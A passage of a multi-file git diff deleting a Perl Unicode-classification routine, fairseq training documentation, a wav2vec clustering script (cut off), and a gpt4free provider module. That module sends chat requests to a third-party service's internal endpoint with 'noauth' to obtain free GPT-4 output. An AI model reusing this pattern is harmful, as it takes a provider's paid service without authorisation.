/\xD6[\x89-\x8F]/; - return "Armenian letter" if $c =~ /\xD4[\xB0-\xBF]/; - return "Armenian letter" if $c =~ /\xD5/; - return "Armenian letter" if $c =~ /\xD6[\x80-\x8F]/; - return "Hebrew accent" if $c =~ /\xD6[\x91-\xAE]/; - return "Hebrew punctuation" if $c =~ /\xD6\xBE/; - return "Hebrew punctuation" if $c =~ /\xD7[\x80\x83\x86\xB3\xB4]/; - return "Hebrew point" if $c =~ /\xD6[\xB0-\xBF]/; - return "Hebrew point" if $c =~ /\xD7[\x81\x82\x87]/; - return "Hebrew letter" if $c =~ /\xD7[\x90-\xB2]/; - return "other Hebrew" if $c =~ /\xD6[\x90-\xBF]/; - return "other Hebrew" if $c =~ /\xD7/; - return "Arabic currency" if $c =~ /\xD8\x8B/; # Afghani sign - return "Arabic punctuation" if $c =~ /\xD8[\x89-\x8D\x9B\x9E\x9F]/; - return "Arabic punctuation" if $c =~ /\xD9[\xAA-\xAD]/; - return "Arabic punctuation" if $c =~ /\xDB[\x94]/; - return "Arabic tatweel" if $c =~ /\xD9\x80/; - return "Arabic letter" if $c =~ /\xD8[\xA0-\xBF]/; - return "Arabic letter" if $c =~ /\xD9[\x81-\x9F]/; - return "Arabic letter" if $c =~ /\xD9[\xAE-\xBF]/; - return "Arabic letter" if $c =~ /\xDA[\x80-\xBF]/; - return "Arabic letter" if $c =~ /\xDB[\x80-\x95]/; - return "Arabic Indic digit" if $c =~ /\xD9[\xA0-\xA9]/; - return "Arabic Indic digit" if $c =~ /\xDB[\xB0-\xB9]/; - return "other Arabic" if $c =~ /[\xD8-\xDB]/; - return "Syriac punctuation" if $c =~ /\xDC[\x80-\x8F]/; - return "Syriac letter" if $c =~ /\xDC[\x90-\xAF]/; - return "Syriac diacritic" if $c =~ /\xDC[\xB0-\xBF]/; - return "Syriac diacritic" if $c =~ /\xDD[\x80-\x8A]/; - return "Thaana letter" if $c =~ /\xDE/; - } elsif ($c =~ /^[\xE0-\xEF]/) { - return "non-UTF8 (invalid)" unless $c =~ /^[\xE0-\xEF][\x80-\xBF]{2,2}$/; - return "non-shortest-UTF8 (invalid)" if $c =~ /\xE0[\x80-\x9F]/; - return "Arabic letter" if $c =~ /\xE0\xA2[\xA0-\xBF]/; # extended letters - return "other Arabic" if $c =~ /\xE0\xA3/; # extended characters - return "Devanagari punctuation" if $c =~ /\xE0\xA5[\xA4\xA5]/; # danda, double danda - return "Devanagari digit" if $c =~ /\xE0\xA5[\xA6-\xAF]/; - return "Devanagari letter" if $c =~ /\xE0[\xA4-\xA5]/; - return "Bengali digit" if $c =~ /\xE0\xA7[\xA6-\xAF]/; - return "Bengali currency" if $c =~ /\xE0\xA7[\xB2-\xB9]/; - return "Bengali letter" if $c =~ /\xE0[\xA6-\xA7]/; - return "Gurmukhi digit" if $c =~ /\xE0\xA9[\xA6-\xAF]/; - return "Gurmukhi letter" if $c =~ /\xE0[\xA8-\xA9]/; - return "Gujarati digit" if $c =~ /\xE0\xAB[\xA6-\xAF]/; - return "Gujarati letter" if $c =~ /\xE0[\xAA-\xAB]/; - return "Oriya digit" if $c =~ /\xE0\xAD[\xA6-\xAF]/; - return "Oriya fraction" if $c =~ /\xE0\xAD[\xB2-\xB7]/; - return "Oriya letter" if $c =~ /\xE0[\xAC-\xAD]/; - return "Tamil digit" if $c =~ /\xE0\xAF[\xA6-\xAF]/; - return "Tamil number" if $c =~ /\xE0\xAF[\xB0-\xB2]/; # number (10, 100, 1000) - return "Tamil letter" if $c =~ /\xE0[\xAE-\xAF]/; - return "Telegu digit" if $c =~ /\xE0\xB1[\xA6-\xAF]/; - return "Telegu fraction" if $c =~ /\xE0\xB1[\xB8-\xBE]/; - return "Telegu letter" if $c =~ /\xE0[\xB0-\xB1]/; - return "Kannada digit" if $c =~ /\xE0\xB3[\xA6-\xAF]/; - return "Kannada letter" if $c =~ /\xE0[\xB2-\xB3]/; - return "Malayalam digit" if $c =~ /\xE0\xB5[\x98-\x9E\xA6-\xB8]/; - return "Malayalam punctuation" if $c =~ /\xE0\xB5\xB9/; # date mark - return "Malayalam letter" if $c =~ /\xE0[\xB4-\xB5]/; - return "Sinhala digit" if $c =~ /\xE0\xB7[\xA6-\xAF]/; - return "Sinhala punctuation" if $c =~ /\xE0\xB7\xB4/; - return "Sinhala letter" if $c =~ /\xE0[\xB6-\xB7]/; - return "Thai currency" if $c =~ /\xE0\xB8\xBF/; - return "Thai digit" if $c =~ /\xE0\xB9[\x90-\x99]/; - return "Thai character" if $c =~ /\xE0[\xB8-\xB9]/; - return "Lao punctuation" if $c =~ /\xE0\xBA\xAF/; # Lao ellipsis - return "Lao digit" if $c =~ /\xE0\xBB[\x90-\x99]/; - return "Lao character" if $c =~ /\xE0[\xBA-\xBB]/; - return "Tibetan punctuation" if $c =~ /\xE0\xBC[\x81-\x94]/; - return "Tibetan sign" if $c =~ /\xE0\xBC[\x95-\x9F]/; - return "Tibetan digit" if $c =~ /\xE0\xBC[\xA0-\xB3]/; - return "Tibetan punctuation" if $c =~ /\xE0\xBC[\xB4-\xBD]/; - return "Tibetan letter" if $c =~ /\xE0[\xBC-\xBF]/; - return "Myanmar digit" if $c =~ /\xE1\x81[\x80-\x89]/; - return "Myanmar digit" if $c =~ /\xE1\x82[\x90-\x99]/; # Myanmar Shan digits - return "Myanmar punctuation" if $c =~ /\xE1\x81[\x8A-\x8B]/; - return "Myanmar letter" if $c =~ /\xE1[\x80-\x81]/; - return "Myanmar letter" if $c =~ /\xE1\x82[\x80-\x9F]/; - return "Georgian punctuation" if $c =~ /\xE1\x83\xBB/; - return "Georgian letter" if $c =~ /\xE1\x82[\xA0-\xBF]/; - return "Georgian letter" if $c =~ /\xE1\x83/; - return "Georgian letter" if $c =~ /\xE1\xB2[\x90-\xBF]/; # Georgian Mtavruli capital letters - return "Georgian letter" if $c =~ /\xE2\xB4[\x80-\xAF]/; # Georgian small letters (Khutsuri) - return "Korean Hangul letter" if $c =~ /\xE1[\x84-\x87]/; - return "Ethiopic punctuation" if $c =~ /\xE1\x8D[\xA0-\xA8]/; - return "Ethiopic digit" if $c =~ /\xE1\x8D[\xA9-\xB1]/; - return "Ethiopic number" if $c =~ /\xE1\x8D[\xB2-\xBC]/; - return "Ethiopic syllable" if $c =~ /\xE1[\x88-\x8D]/; - return "Cherokee letter" if $c =~ /\xE1\x8E[\xA0-\xBF]/; - return "Cherokee letter" if $c =~ /\xE1\x8F/; - return "Canadian punctuation" if $c =~ /\xE1\x90\x80/; # Canadian Syllabics hyphen - return "Canadian punctuation" if $c =~ /\xE1\x99\xAE/; # Canadian Syllabics full stop - return "Canadian syllable" if $c =~ /\xE1[\x90-\x99]/; - return "Canadian syllable" if $c =~ /\xE1\xA2[\xB0-\xBF]/; - return "Canadian syllable" if $c =~ /\xE1\xA3/; - return "Ogham whitespace" if $c =~ /\xE1\x9A\x80/; - return "Ogham letter" if $c =~ /\xE1\x9A[\x81-\x9A]/; - return "Ogham punctuation" if $c =~ /\xE1\x9A[\x9B-\x9C]/; - return "Runic punctuation" if $c =~ /\xE1\x9B[\xAB-\xAD]/; - return "Runic letter" if $c =~ /\xE1\x9A[\xA0-\xBF]/; - return "Runic letter" if $c =~ /\xE1\x9B/; - return "Khmer currency" if $c =~ /\xE1\x9F\x9B/; - return "Khmer digit" if $c =~ /\xE1\x9F[\xA0-\xA9]/; - return "Khmer letter" if $c =~ /\xE1[\x9E-\x9F]/; - return "Mongolian punctuation" if $c =~ /\xE1\xA0[\x80-\x8A]/; - return "Mongolian digit" if $c =~ /\xE1\xA0[\x90-\x99]/; - return "Mongolian letter" if $c =~ /\xE1[\xA0-\xA1]/; - return "Mongolian letter" if $c =~ /\xE1\xA2[\x80-\xAF]/; - return "Buginese letter" if $c =~ /\xE1\xA8[\x80-\x9B]/; - return "Buginese punctuation" if $c =~ /\xE1\xA8[\x9E-\x9F]/; - return "Balinese letter" if $c =~ /\xE1\xAC/; - return "Balinese letter" if $c =~ /\xE1\xAD[\x80-\x8F]/; - return "Balinese digit" if $c =~ /\xE1\xAD[\x90-\x99]/; - return "Balinese puncutation" if $c =~ /\xE1\xAD[\x9A-\xA0]/; - return "Balinese symbol" if $c =~ /\xE1\xAD[\xA1-\xBF]/; - return "Sundanese digit" if $c =~ /\xE1\xAE[\xB0-\xB9]/; - return "Sundanese letter" if $c =~ /\xE1\xAE/; - return "Cyrillic letter" if $c =~ /\xE1\xB2[\x80-\x8F]/; - return "Sundanese punctuation" if $c =~ /\xE1\xB3[\x80-\x8F]/; - return "IPA" if $c =~ /\xE1[\xB4-\xB6]/; - return "non-ASCII Latin letter" if $c =~ /\xE1[\xB8-\xBB]/; - return "Greek letter" if $c =~ /\xE1[\xBC-\xBF]/; - return "non-ASCII whitespace" if $c =~ /\xE2\x80[\x80-\x8A\xAF]/; - return "zero-width space" if $c =~ /\xE2\x80\x8B/; - return "zero-width non-space" if $c =~ /\xE2\x80\x8C/; - return "zero-width joiner" if $c =~ /\xE2\x80\x8D/; - return "directional mark" if $c =~ /\xE2\x80[\x8E-\x8F\xAA-\xAE]/; - return "non-ASCII punctuation" if $c =~ /\xE2\x80[\x90-\xBF]/; - return "non-ASCII punctuation" if $c =~ /\xE2\x81[\x80-\x9E]/; - return "superscript letter" if $c =~ /\xE2\x81[\xB1\xBF]/; - return "superscript digit" if $c =~ /\xE2\x81[\xB0-\xB9]/; - return "superscript punctuation" if $c =~ /\xE2\x81[\xBA-\xBE]/; - return "subscript digit" if $c =~ /\xE2\x82[\x80-\x89]/; - return "subscript punctuation" if $c =~ /\xE2\x82[\x8A-\x8E]/; - return "non-ASCII currency" if $c =~ /\xE2\x82[\xA0-\xBF]/; - return "letterlike symbol" if $c =~ /\xE2\x84/; - return "letterlike symbol" if $c =~ /\xE2\x85[\x80-\x8F]/; - return "fraction" if $c =~ /\xE2\x85[\x90-\x9E]/; # NEW - return "Roman number" if $c =~ /\xE2\x85[\xA0-\xBF]/; # NEW - return "arrow symbol" if $c =~ /\xE2\x86[\x90-\xBF]/; - return "arrow symbol" if $c =~ /\xE2\x87/; - return "mathematical operator" if $c =~ /\xE2[\x88-\x8B]/; - return "technical symbol" if $c =~ /\xE2[\x8C-\x8F]/; - return "enclosed alphanumeric" if $c =~ /\xE2\x91[\xA0-\xBF]/; - return "enclosed alphanumeric" if $c =~ /\xE2[\x92-\x93]/; - return "box drawing" if $c =~ /\xE2[\x94-\x95]/; - return "geometric shape" if $c =~ /\xE2\x96[\xA0-\xBF]/; - return "geometric shape" if $c =~ /\xE2\x97/; - return "pictograph" if $c =~ /\xE2[\x98-\x9E]/; - return "arrow symbol" if $c =~ /\xE2\xAC[\x80-\x91\xB0-\xBF]/; - return "geometric shape" if $c =~ /\xE2\xAC[\x92-\xAF]/; - return "arrow symbol" if $c =~ /\xE2\xAD[\x80-\x8F\x9A-\xBF]/; - return "geometric shape" if $c =~ /\xE2\xAD[\x90-\x99]/; - return "arrow symbol" if $c =~ /\xE2\xAE[\x80-\xB9]/; - return "geometric shape" if $c =~ /\xE2\xAE[\xBA-\xBF]/; - return "geometric shape" if $c =~ /\xE2\xAF[\x80-\x88\x8A-\x8F]/; - return "symbol" if $c =~ /\xE2[\xAC-\xAF]/; - return "Coptic fraction" if $c =~ /\xE2\xB3\xBD/; - return "Coptic punctuation" if $c =~ /\xE2\xB3[\xB9-\xBF]/; - return "Coptic letter" if $c =~ /\xE2[\xB2-\xB3]/; - return "Georgian letter" if $c =~ /\xE2\xB4[\x80-\xAF]/; - return "Tifinagh punctuation" if $c =~ /\xE2\xB5\xB0/; - return "Tifinagh letter" if $c =~ /\xE2\xB4[\xB0-\xBF]/; - return "Tifinagh letter" if $c =~ /\xE2\xB5/; - return "Ethiopic syllable" if $c =~ /\xE2\xB6/; - return "Ethiopic syllable" if $c =~ /\xE2\xB7[\x80-\x9F]/; - return "non-ASCII punctuation" if $c =~ /\xE3\x80[\x80-\x91\x94-\x9F\xB0\xBB-\xBD]/; - return "symbol" if $c =~ /\xE3\x80[\x91\x92\xA0\xB6\xB7]/; - return "Japanese hiragana character" if $c =~ /\xE3\x81/; - return "Japanese hiragana character" if $c =~ /\xE3\x82[\x80-\x9F]/; - return "Japanese katakana character" if $c =~ /\xE3\x82[\xA0-\xBF]/; - return "Japanese katakana character" if $c =~ /\xE3\x83/; - return "Bopomofo letter" if $c =~ /\xE3\x84[\x80-\xAF]/; - return "Korean Hangul letter" if $c =~ /\xE3\x84[\xB0-\xBF]/; - return "Korean Hangul letter" if $c =~ /\xE3\x85/; - return "Korean Hangul letter" if $c =~ /\xE3\x86[\x80-\x8F]/; - return "Bopomofo letter" if $c =~ /\xE3\x86[\xA0-\xBF]/; - return "CJK stroke" if $c =~ /\xE3\x87[\x80-\xAF]/; - return "Japanese kana character" if $c =~ /\xE3\x87[\xB0-\xBF]/; - return "CJK symbol" if $c =~ /\xE3[\x88-\x8B]/; - return "CJK square Latin abbreviation" if $c =~ /\xE3\x8D[\xB1-\xBA]/; - return "CJK square Latin abbreviation" if $c =~ /\xE3\x8E/; - return "CJK square Latin abbreviation" if $c =~ /\xE3\x8F[\x80-\x9F\xBF]/; - return "CJK character" if $c =~ /\xE4[\xB8-\xBF]/; - return "CJK character" if $c =~ /[\xE5-\xE9]/; - return "Yi syllable" if $c =~ /\xEA[\x80-\x92]/; - return "Lisu letter" if $c =~ /\xEA\x93[\x90-\xBD]/; - return "Lisu punctuation" if $c =~ /\xEA\x93[\xBE-\xBF]/; - return "Cyrillic letter" if $c =~ /\xEA\x99/; - return "Cyrillic letter" if $c =~ /\xEA\x9A[\x80-\x9F]/; - return "modifier tone" if $c =~ /\xEA\x9C[\x80-\xA1]/; - return "Javanese punctuation" if $c =~ /\xEA\xA7[\x81-\x8D\x9E-\x9F]/; - return "Javanese digit" if $c =~ /\xEA\xA7[\x90-\x99]/; - return "Javanese letter" if $c =~ /\xEA\xA6/; - return "Javanese letter" if $c =~ /\xEA\xA7[\x80-\x9F]/; - return "Ethiopic syllable" if $c =~ /\xEA\xAC[\x80-\xAF]/; - return "Cherokee letter" if $c =~ /\xEA\xAD[\xB0-\xBF]/; - return "Cherokee letter" if $c =~ /\xEA\xAE/; - return "Meetai Mayek digit" if $c =~ /\xEA\xAF[\xB0-\xB9]/; - return "Meetai Mayek letter" if $c =~ /\xEA\xAF/; - return "Korean Hangul syllable" if $c =~ /\xEA[\xB0-\xBF]/; - return "Korean Hangul syllable" if $c =~ /[\xEB-\xEC]/; - return "Korean Hangul syllable" if $c =~ /\xED[\x80-\x9E]/; - return "Klingon letter" if $c =~ /\xEF\xA3[\x90-\xA9]/; - return "Klingon digit" if $c =~ /\xEF\xA3[\xB0-\xB9]/; - return "Klingon punctuation" if $c =~ /\xEF\xA3[\xBD-\xBE]/; - return "Klingon symbol" if $c =~ /\xEF\xA3\xBF/; - return "private use character" if $c =~ /\xEE/; - return "Latin typographic ligature" if $c =~ /\xEF\xAC[\x80-\x86]/; - return "Hebrew presentation letter" if $c =~ /\xEF\xAC[\x9D-\xBF]/; - return "Hebrew presentation letter" if $c =~ /\xEF\xAD[\x80-\x8F]/; - return "Arabic presentation letter" if $c =~ /\xEF\xAD[\x90-\xBF]/; - return "Arabic presentation letter" if $c =~ /\xEF[\xAE-\xB7]/; - return "non-ASCII punctuation" if $c =~ /\xEF\xB8[\x90-\x99]/; - return "non-ASCII punctuation" if $c =~ /\xEF\xB8[\xB0-\xBF]/; - return "non-ASCII punctuation" if $c =~ /\xEF\xB9[\x80-\xAB]/; - return "Arabic presentation letter" if $c =~ /\xEF\xB9[\xB0-\xBF]/; - return "Arabic presentation letter" if $c =~ /\xEF\xBA/; - return "Arabic presentation letter" if $c =~ /\xEF\xBB[\x80-\xBC]/; - return "byte-order mark/zero-width no-break space" if $c eq "\xEF\xBB\xBF"; - return "fullwidth currency" if $c =~ /\xEF\xBC\x84/; - return "fullwidth digit" if $c =~ /\xEF\xBC[\x90-\x99]/; - return "fullwidth Latin letter" if $c =~ /\xEF\xBC[\xA1-\xBA]/; - return "fullwidth Latin letter" if $c =~ /\xEF\xBD[\x81-\x9A]/; - return "fullwidth punctuation" if $c =~ /\xEF\xBC/; - return "fullwidth punctuation" if $c =~ /\xEF\xBD[\x9B-\xA4]/; - return "halfwidth Japanese punctuation" if $c =~ /\xEF\xBD[\xA1-\xA4]/; - return "halfwidth Japanese katakana character" if $c =~ /\xEF\xBD[\xA5-\xBF]/; - return "halfwidth Japanese katakana character" if $c =~ /\xEF\xBE[\x80-\x9F]/; - return "fullwidth currency" if $c =~ /\xEF\xBF[\xA0-\xA6]/; - return "replacement character" if $c eq "\xEF\xBF\xBD"; - } elsif ($c =~ /[\xF0-\xF7]/) { - return "non-UTF8 (invalid)" unless $c =~ /[\xF0-\xF7][\x80-\xBF]{3,3}$/; - return "non-shortest-UTF8 (invalid)" if $c =~ /\xF0[\x80-\x8F]/; - return "Linear B syllable" if $c =~ /\xF0\x90\x80/; - return "Linear B syllable" if $c =~ /\xF0\x90\x81[\x80-\x8F]/; - return "Linear B symbol" if $c =~ /\xF0\x90\x81[\x90-\x9F]/; - return "Linear B ideogram" if $c =~ /\xF0\x90[\x82-\x83]/; - return "Gothic letter" if $c =~ /\xF0\x90\x8C[\xB0-\xBF]/; - return "Gothic letter" if $c =~ /\xF0\x90\x8D[\x80-\x8F]/; - return "Phoenician letter" if $c =~ /\xF0\x90\xA4[\x80-\x95]/; - return "Phoenician number" if $c =~ /\xF0\x90\xA4[\x96-\x9B]/; - return "Phoenician punctuation" if $c =~ /\xF0\x90\xA4\x9F/; # word separator - return "Old Hungarian number" if $c =~ /\xF0\x90\xB3[\xBA-\xBF]/; - return "Old Hungarian letter" if $c =~ /\xF0\x90[\xB2-\xB3]/; - return "Cuneiform digit" if $c =~ /\xF0\x92\x90/; # numberic sign - return "Cuneiform digit" if $c =~ /\xF0\x92\x91[\x80-\xAF]/; # numberic sign - return "Cuneiform punctuation" if $c =~ /\xF0\x92\x91[\xB0-\xBF]/; - return "Cuneiform sign" if $c =~ /\xF0\x92[\x80-\x95]/; - return "Egyptian hieroglyph number" if $c =~ /\xF0\x93\x81\xA8/; - return "Egyptian hieroglyph number" if $c =~ /\xF0\x93\x82[\xAD-\xB6]/; - return "Egyptian hieroglyph number" if $c =~ /\xF0\x93\x86[\x90\xBC-\xBF]/; - return "Egyptian hieroglyph number" if $c =~ /\xF0\x93\x87[\x80-\x84]/; - return "Egyptian hieroglyph number" if $c =~ /\xF0\x93\x8D[\xA2-\xAB]/; - return "Egyptian hieroglyph number" if $c =~ /\xF0\x93\x8E[\x86-\x92]/; - return "Egyptian hieroglyph number" if $c =~ /\xF0\x93\x8F[\xBA-\xBF]/; - return "Egyptian hieroglyph number" if $c =~ /\xF0\x93\x90[\x80-\x83]/; - return "Egyptian hieroglyph" if $c =~ /\xF0\x93[\x80-\x90]/; - return "enclosed alphanumeric" if $c =~ /\xF0\x9F[\x84-\x87]/; - return "Mahjong symbol" if $c =~ /\xF0\x9F\x80[\x80-\xAF]/; - return "Domino symbol" if $c =~ /\xF0\x9F\x80[\xB0-\xBF]/; - return "Domino symbol" if $c =~ /\xF0\x9F\x81/; - return "Domino symbol" if $c =~ /\xF0\x9F\x82[\x80-\x9F]/; - return "Playing card symbol" if $c =~ /\xF0\x9F\x82[\xA0-\xBF]/; - return "Playing card symbol" if $c =~ /\xF0\x9F\x83/; - return "CJK symbol" if $c =~ /\xF0\x9F[\x88-\x8B]/; - return "pictograph" if $c =~ /\xF0\x9F[\x8C-\x9B]/; - return "geometric shape" if $c =~ /\xF0\x9F[\x9E-\x9F]/; - return "non-ASCII punctuation" if $c =~ /\xF0\x9F[\xA0-\xA3]/; - return "pictograph" if $c =~ /\xF0\x9F[\xA4-\xAB]/; - return "CJK character" if $c =~ /\xF0[\xA0-\xAF]/; - return "tag" if $c =~ /\xF3\xA0[\x80-\x81]/; - return "variation selector" if $c =~ /\xF3\xA0[\x84-\x87]/; - return "private use character" if $c =~ /\xF3[\xB0-\xBF]/; - return "private use character" if $c =~ /\xF4[\x80-\x8F]/; - # ... - } elsif ($c =~ /[\xF8-\xFB]/) { - return "non-UTF8 (invalid)" unless $c =~ /[\xF8-\xFB][\x80-\xBF]{4,4}$/; - } elsif ($c =~ /[\xFC-\xFD]/) { - return "non-UTF8 (invalid)" unless $c =~ /[\xFC-\xFD][\x80-\xBF]{5,5}$/; - } elsif ($c =~ /\xFE/) { - return "non-UTF8 (invalid)" unless $c =~ /\xFE][\x80-\xBF]{6,6}$/; - } else { - return "non-UTF8 (invalid)"; - } - return "other character"; -} - -1; - - diff --git a/spaces/monra/freegpt-webui/g4f/Provider/Providers/Forefront.py b/spaces/monra/freegpt-webui/g4f/Provider/Providers/Forefront.py deleted file mode 100644 index e7e89831cc4ec6dc37ea094d9828a7582e981ff1..0000000000000000000000000000000000000000 --- a/spaces/monra/freegpt-webui/g4f/Provider/Providers/Forefront.py +++ /dev/null @@ -1,30 +0,0 @@ -import os -import json -import requests -from ...typing import sha256, Dict, get_type_hints - -url = 'https://forefront.com' -model = ['gpt-3.5-turbo'] -supports_stream = True -needs_auth = False - -def _create_completion(model: str, messages: list, stream: bool, **kwargs): - json_data = { - 'text': messages[-1]['content'], - 'action': 'noauth', - 'id': '', - 'parentId': '', - 'workspaceId': '', - 'messagePersona': '607e41fe-95be-497e-8e97-010a59b2e2c0', - 'model': 'gpt-4', - 'messages': messages[:-1] if len(messages) > 1 else [], - 'internetMode': 'auto' - } - response = requests.post( 'https://streaming.tenant-forefront-default.knative.chi.coreweave.com/free-chat', - json=json_data, stream=True) - for token in response.iter_lines(): - if b'delta' in token: - token = json.loads(token.decode().split('data: ')[1])['delta'] - yield (token) -params = f'g4f.Providers.{os.path.basename(__file__)[:-3]} supports: ' + \ - '(%s)' % ', '.join([f"{name}: {get_type_hints(_create_completion)[name].__name__}" for name in _create_completion.__code__.co_varnames[:_create_completion.__code__.co_argcount]]) \ No newline at end of file diff --git a/spaces/monra/freegpt-webui/g4f/README.md b/spaces/monra/freegpt-webui/g4f/README.md deleted file mode 100644 index c2cbfd69dc169e2cb4f8d24104fb12a52b91688d..0000000000000000000000000000000000000000 --- a/spaces/monra/freegpt-webui/g4f/README.md +++ /dev/null @@ -1,5 +0,0 @@ -## 🚀 API G4F - -This API is built upon the [gpt4free](https://github.com/xtekky/gpt4free) project. - - diff --git a/spaces/mshukor/UnIVAL/fairseq/examples/simultaneous_translation/docs/ende-mma.md b/spaces/mshukor/UnIVAL/fairseq/examples/simultaneous_translation/docs/ende-mma.md deleted file mode 100644 index 241d604a3b31a37755da68aad6ff47d46891d3fc..0000000000000000000000000000000000000000 --- a/spaces/mshukor/UnIVAL/fairseq/examples/simultaneous_translation/docs/ende-mma.md +++ /dev/null @@ -1,74 +0,0 @@ -# Simultaneous Machine Translation - -This directory contains the code for the paper [Monotonic Multihead Attention](https://openreview.net/forum?id=Hyg96gBKPS) - -## Prepare Data - -[Please follow the instructions to download and preprocess the WMT'15 En-De dataset.](https://github.com/pytorch/fairseq/tree/simulastsharedtask/examples/translation#prepare-wmt14en2desh) - -Another example of training an English to Japanese model can be found [here](docs/enja.md) - -## Training - -- MMA-IL - -```shell -fairseq-train \ - data-bin/wmt15_en_de_32k \ - --simul-type infinite_lookback \ - --user-dir $FAIRSEQ/example/simultaneous_translation \ - --mass-preservation \ - --criterion latency_augmented_label_smoothed_cross_entropy \ - --latency-weight-avg 0.1 \ - --max-update 50000 \ - --arch transformer_monotonic_iwslt_de_en save_dir_key=lambda \ - --optimizer adam --adam-betas '(0.9, 0.98)' \ - --lr-scheduler 'inverse_sqrt' \ - --warmup-init-lr 1e-7 --warmup-updates 4000 \ - --lr 5e-4 --stop-min-lr 1e-9 --clip-norm 0.0 --weight-decay 0.0001\ - --dropout 0.3 \ - --label-smoothing 0.1\ - --max-tokens 3584 -``` - -- MMA-H - -```shell -fairseq-train \ - data-bin/wmt15_en_de_32k \ - --simul-type hard_aligned \ - --user-dir $FAIRSEQ/example/simultaneous_translation \ - --mass-preservation \ - --criterion latency_augmented_label_smoothed_cross_entropy \ - --latency-weight-var 0.1 \ - --max-update 50000 \ - --arch transformer_monotonic_iwslt_de_en save_dir_key=lambda \ - --optimizer adam --adam-betas '(0.9, 0.98)' \ - --lr-scheduler 'inverse_sqrt' \ - --warmup-init-lr 1e-7 --warmup-updates 4000 \ - --lr 5e-4 --stop-min-lr 1e-9 --clip-norm 0.0 --weight-decay 0.0001\ - --dropout 0.3 \ - --label-smoothing 0.1\ - --max-tokens 3584 -``` - -- wait-k - -```shell -fairseq-train \ - data-bin/wmt15_en_de_32k \ - --simul-type wait-k \ - --waitk-lagging 3 \ - --user-dir $FAIRSEQ/example/simultaneous_translation \ - --mass-preservation \ - --criterion latency_augmented_label_smoothed_cross_entropy \ - --max-update 50000 \ - --arch transformer_monotonic_iwslt_de_en save_dir_key=lambda \ - --optimizer adam --adam-betas '(0.9, 0.98)' \ - --lr-scheduler 'inverse_sqrt' \ - --warmup-init-lr 1e-7 --warmup-updates 4000 \ - --lr 5e-4 --stop-min-lr 1e-9 --clip-norm 0.0 --weight-decay 0.0001\ - --dropout 0.3 \ - --label-smoothing 0.1\ - --max-tokens 3584 -``` diff --git a/spaces/mshukor/UnIVAL/fairseq/examples/wav2vec/unsupervised/scripts/wav2vec_cluster_faiss.py b/spaces/mshukor/UnIVAL/fairseq/examples/wav2vec/unsupervised/scripts/wav2vec_cluster_faiss.py deleted file mode 100644 index 632a69e9f4bd98d33abb689c15557c818d0e35ea..0000000000000000000000000000000000000000 --- a/spaces/mshukor/UnIVAL/fairseq/examples/wav2vec/unsupervised/scripts/wav2vec_cluster_faiss.py +++ /dev/null @@ -1,210 +0,0 @@ -#!/usr/bin/env python3 -u -# Copyright (c) Facebook, Inc. and its affiliates. -# -# This source code is licensed under the MIT license found in the -# LICENSE file in the root directory of this source tree. - -import argparse -import gc -import os -import os.path as osp -import random -import numpy as np -import tqdm -import torch - -from collections import namedtuple - -import faiss - -import fairseq -import soundfile as sf - - -def get_parser(): - parser = argparse.ArgumentParser( - description="compute kmeans codebook from kaldi-computed feats" - ) - # fmt: off - parser.add_argument('data', help='location of tsv files') - parser.add_argument('--save-dir', help='where to save the output', required=True) - parser.add_argument('--checkpoint', type=str, help='checkpoint for wav2vec model (if using wav2vec features)', required=True) - parser.add_argument('--sample-pct', '-r', type=float, help='percentage of timesteps to sample', default=0) - parser.add_argument('--layer', '-l', type=int, help='which layer to read', default=14) - parser.add_argument('--faiss-specs', '-f', type=str, - help='faiss index specs; separated by space ' - 'format is: PCAx_NORM_CLUSx_SPHERICAL -> ' - 'PCAx if exists first apply PCA ' - 'NORM if exists, normalize the vector by L2 norm ' - 'CLUSx must exist, cluster to x clusters ' - 'SPEHRICAL if exists, apply spherical kmeans', - default='l2') - # fmt: on - - return parser - - -faiss_spec = namedtuple("faiss_spec", ["pca", "norm", "n_clus", "sphere", "spec_str"]) - - -def parse_faiss_specs(specs_str): - specs = [] - for ss in specs_str.split(): - comps = ss.split("_") - pca = 0 - norm = False - n_clus = 0 - sphere = False - for c in comps: - if c.startswith("PCA"): - pca = int(c[3:]) - elif c == "NORM": - norm = True - elif c.startswith("CLUS"): - n_clus = int(c[4:]) - elif c == "SPHERICAL": - sphere = True - assert n_clus > 0 - specs.append( - faiss_spec(pca=pca, norm=norm, n_clus=n_clus, sphere=sphere, spec_str=ss) - ) - return specs - - -class Wav2VecFeatureReader(object): - def __init__(self, cp_file, layer): - state = fairseq.checkpoint_utils.load_checkpoint_to_cpu(cp_file) - - self.layer = layer - - if "cfg" in state: - w2v_args = state["cfg"] - task = fairseq.tasks.setup_task(w2v_args.task) - model = task.build_model(w2v_args.model) - else: - w2v_args = state["args"] - task = fairseq.tasks.setup_task(w2v_args) - model = task.build_model(w2v_args) - model.load_state_dict(state["model"], strict=True) - model.eval() - model.cuda() - self.model = model - - def read_audio(self, fname): - """Load an audio file and return PCM along with the sample rate""" - wav, sr = sf.read(fname) - assert sr == 16e3 - - return wav - - def get_feats(self, loc): - x = self.read_audio(loc) - with torch.no_grad(): - source = torch.from_numpy(x).view(1, -1).float().cuda() - res = self.model( - source=source, mask=False, features_only=True, layer=self.layer - ) - return res["layer_results"][self.layer][0].squeeze(1) - - -def get_iterator(args): - with open(args.data, "r") as fp: - lines = fp.read().split("\n") - root = lines.pop(0).strip() - files = [osp.join(root, line.split("\t")[0]) for line in lines if len(line) > 0] - - if getattr(args, "sample_pct", 0) > 0: - files = random.sample(files, int(args.sample_pct * len(files))) - num = len(files) - reader = Wav2VecFeatureReader(args.checkpoint, args.layer) - - def iterate(): - for fname in files: - feats = reader.get_feats(fname) - yield feats.cpu().numpy() - - return iterate, num - - -def main(): - parser = get_parser() - args = parser.parse_args() - - faiss_specs = parse_faiss_specs(args.faiss_specs) - print("Faiss Specs:", faiss_specs) - - feat_path = osp.join(args.save_dir, "features") - if osp.exists(feat_path + ".npy"): - feats = np.load(feat_path + ".npy") - else: - generator, num = get_iterator(args) - iterator = generator() - - feats = [] - for f in tqdm.tqdm(iterator, total=num): - feats.append(f) - - del iterator - del generator - - feats = np.concatenate(feats) - - print(feats.shape) - - os.makedirs(args.save_dir, exist_ok=True) - # np.save(feat_path, feats) - - gc.collect() - torch.cuda.empty_cache() - - reload = False - for spec in faiss_specs: - print("Processing spec", spec) - - if reload: - print("Reloading...") - del feats - gc.collect() - feats = np.load(feat_path + ".npy") - - save_path = osp.join(args.save_dir, spec.spec_str) - os.makedirs(save_path, exist_ok=True) - d = feats.shape[-1] - x = feats - if spec.pca > 0: - print("Computing PCA") - pca = faiss.PCAMatrix(d, spec.pca) - pca.train(x) - d = spec.pca - b = 